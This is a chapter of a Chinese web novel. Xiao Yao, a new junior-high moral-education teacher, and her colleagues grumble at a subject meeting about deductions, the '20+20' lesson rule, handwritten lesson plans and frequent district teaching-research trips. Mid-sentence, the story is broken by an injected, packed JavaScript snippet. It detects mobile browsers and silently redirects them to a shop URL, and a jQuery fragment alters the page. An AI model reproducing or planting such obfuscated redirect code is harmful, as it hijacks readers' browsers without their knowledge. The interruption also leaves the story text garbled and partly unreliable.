每周四都是肖遥最喜欢的工作日。
每周四的早上二、三节是道法科组教研，下午只有两节课，没有早读，没有晚自习。
但前提是她不用外出教研。
什么是教研？
教研分为校内教研和校外教研，目的都是提升教学质量、促进教师专业发展。。
校内教研比较简单，一般是科组内的教师在每周的某个时间聚在一起探讨教学工作，比如集体备课，听课评课，分析教学问题。
校外教研就麻烦了，一般是区或市的教师发展中心开展的听评课、讲座，因此参加校外教研往往会花费半天的时间，有时候还影响上课，需要教师调课再外出。
对于校外教研，肖遥的态度是：
麻烦。
上课铃一响，肖遥便拿着课本和教案本悠闲地走向教研室。
初中道法科组只有6位教师，2个老师负责1个年级。
除了肖遥和初二的范老师外，其他的道法老师都是经验丰富的老教师。
因此，道法赵老师成为了肖遥的“师傅”，这源自于师徒结对的“青蓝工程”。
什么是“青蓝工程”？
学校的骨干教师与青年教师以签订协议和颁发证书的形式进行师徒结对，也就是老教师通过听课评课、备课指导等方式进行帮助新教师快速适应教学工作。
一般情况下，1年为一培养周期。
在此期间，新教师要听老教师的课，老教师同样要听、评新教师的课，师徒双方还要进行同课异构。
学期末，双方还要进行学期小结，撰写报告。
这个工程听着很有利于新教师，也有利于学校的长期发展。
但肖遥觉得，它就是个屁！
先不说教师的工作繁忙，老教师未必有足够的时间带新教师。
某些学校里，一个学科可能就只有1-2个教师，会出现了跨学科、跨年级的师徒结对。
以及，每个教师都有自己的教学风格和教学理念，强行把两个人捆绑在一起，对于双方来说都是痛苦的。
而道法赵老师也持有同样的看法。
因此，两人师徒结对后，赵老师只在开学初听过肖遥的一节课，给予了一些意见后，就未太过于干涉肖遥的课堂。
而肖遥也只听过两次赵老师的课，咨询了一些建议。
毕竟听太多课，对于老教师而言，也是一种负担。
当然，两人也会一起讨论教学重难点、教学进度和作业的布置。
她们并非是文件里所谓的师徒关系，而是互帮互助的同事关系。
总之，肖遥很喜欢这种状态。
而道法组的老师们也是类似的心态。
因此，对于肖遥而言，每周一次的组内教研更像是一场短暂的休息。
“赵老师，范老师......”
肖遥一一打过招呼后，坐在了道法赵老师的对面。
赵老师见人齐后，便传达了教务处的最新要求。
“......各位老师一定要在预备铃响后就进教室，上课迟到一次扣50。”
“......上课一定遵循20+20的课堂，也就是老师讲20分钟，把剩余的20分钟留给学生，要让学生多发言、多回答问题，多开展小组活动。”
“......上课要注意学生不能趴桌子、不能睡觉、不能吃东西、不能看课外书，领导们会巡堂，发现一次扣50。”
“......各组准备下周的月考出题。”
“......”
还未讲完，其他老师就开始吐槽了。
八年级何老师：“怎么学校越来越变态了，上课迟到这个没得说。怎么学生睡觉也要扣老师钱？”
九年级杨老师：“就是，那几个颠公，我巴不得他们看课外书、睡觉，反正他们也不学，不让他们看课外书和睡觉，他们就开始吵其他人，我还怎么上课。”
八年级范老师：“难怪我说最近怎么经常看到那几个推门进来，原来是扣钱来了。”
七年级赵老师：“唉，我好像被记了几次了。”
肖遥：“......+1”
八年级何老师：“20+20，那些人有毛病吧。当这是小学呢，我课都上不完了。”
肖遥：“ta们是不是看到其他学校的公开课，所以也要跟风搞这个？”
八年级范老师：“那也不看看我们学校什么生源，跟人家哪有得比？再说了，公开课，都懂的啦。”
肖遥&赵老师&何老师&杨老师&方老师默契地点点头。
不选好学生，不排练几遍，那还叫公开课？
公开课搞搞这些形式就算了，常规课也搞？
只能说，这些领导是不管教师死活的。
九年级方老师：“我九年级这些学生，一到上课就变哑巴了。问个问题半天都没人能回答，还指望这些人能够自主学习，小组讨论？”
九年级杨老师：“早读也是啊，一班人都在嗡嗡叫，声音还没我大，气死了。”
八年级何老师：“八年级的学生已经有这种趋势了。”
赵老师一锤定音：“所以这些话听听就行，不用管这些领导，我们该怎么上就怎么上。”
肖遥点点头，手下的笔却未停过。
因为这是个写教案的好时间。
是的，手写教案。
肖遥是新教师，所以她和范老师一样都要手写教案3年。
她不懂，都是未来社会了，都在强调AI教学了，为什么教师还要手写教案？
手写教案也许确实能帮助新教师熟悉教材，理清教学思路。
但3年就没必要了吧，尤其是在教师还肩负着如此多工作的情况下。
肖遥认为手写教案就是一种负担。
她曾询问过赵老师。
赵老师给她的回复是：没办法，她刚入校的时候也写了3年教案，领导说了大家都这么过来的。如果不手写教案，就会扣钱。
肖遥：。。。。。。
恶心的规定。
恶心的领导。
恶心的服从性测验。
肖遥想，大概也就教师群体才会如此乖乖听话吧。
唉。
旁边的八年级何老师则在写集体备课本。
一周一篇，一人一次轮着来，这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239881|197678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样期末就能作为材料上交了。
“对了，上周四杨老师参加了区九年级教研，昨天我和范老师去参加了区七八年级教研，下周还是七八年级区教研，何老师和肖老师一起去。”
赵老师将教研文件发到了教研群里，提醒两人：“可以问问历史科组的老师，一起打车过去好报销。”
“怎么又教研？”
八年级何老师不解：“这学期才开学几周啊，这么多教研？”
赵老师：“别说了，我昨天问了教研员，她说这学期除了考试周，大概率周周都有教研活动。”
肖遥&何老师瞪大了眼睛：“啊？？？”
九年级方老师拍拍了何老师的肩膀，安慰道：“知足吧，我们学校老师多，还能轮着去。你看隔壁的新桥学校，2个老师包了3个年级的历史教学，基本周周都要出去。”
八年级范老师：“是啊，反正就听讲座和公开课，又不是我们上。”
听到这话的赵老师欲言又止，最后还是说了出来：“教研员发了公开课的文件，教务处要求我们每个学科都得出一名老师参加。”
肖遥&范老师&何老师&杨老师&方老师：。。。。。。
范老师指了指手机屏幕：“这个文件不是说了自愿参加吗？”
赵老师神情复杂地点点头：“所以我们是‘被自愿’。”
。。。。。。
赵老师基于科组长的身份还是劝了几句：“这个公开课还不着急，大家可以再考虑考虑。”
她看向肖遥、范老师和何老师：“但如果你有评职称需求的，最好参加。不一定上本年级的课，可以借班来上。”
三人点点头。
范老师和何老师都明白，作为教师，评职称和公开课会伴随她们一生，只是早晚的区别。
而肖遥却不以为然，毕竟回去后，她可不会再当老师了。
而且她也不同于范老师有过一年的教学经验，她是刚进入教育行业的新教师。
因此，她暂时还不需要上场。
......
很快就到了周四的区教研。
早上7：45分。
坐在副驾驶座的肖遥打了个哈欠，眼皮直打架。
早上7点不到她就起床了，因为这次区教研是去另一个学习听课，8：10分开始。
而这个学校离A市实验学校有着50分钟的路程，且还没算高峰期的堵车时间。
因此，她匆忙洗漱，啃了个面包就直奔校门口。
八年级道法何老师已经打好了车，一起过去的还有七年级历史陈老师和八年级历史莫老师。
大家的脸上都残留着朦胧的睡意，只能在车上浅浅补个觉。
8：05分，四人到达了目的地。
肖遥努力睁开眼皮，抬头看了眼校门。
嗯，很金碧辉煌。
这是肖遥的第一感觉。
大约是看出了肖遥的震惊，历史陈老师对着肖遥咬耳朵：“这是我们区排名第一的中学。”
道法何老师在后面补充道：“各种意义上的第一。”
肖遥感叹：“区排名第一的居然是民办中学啊。”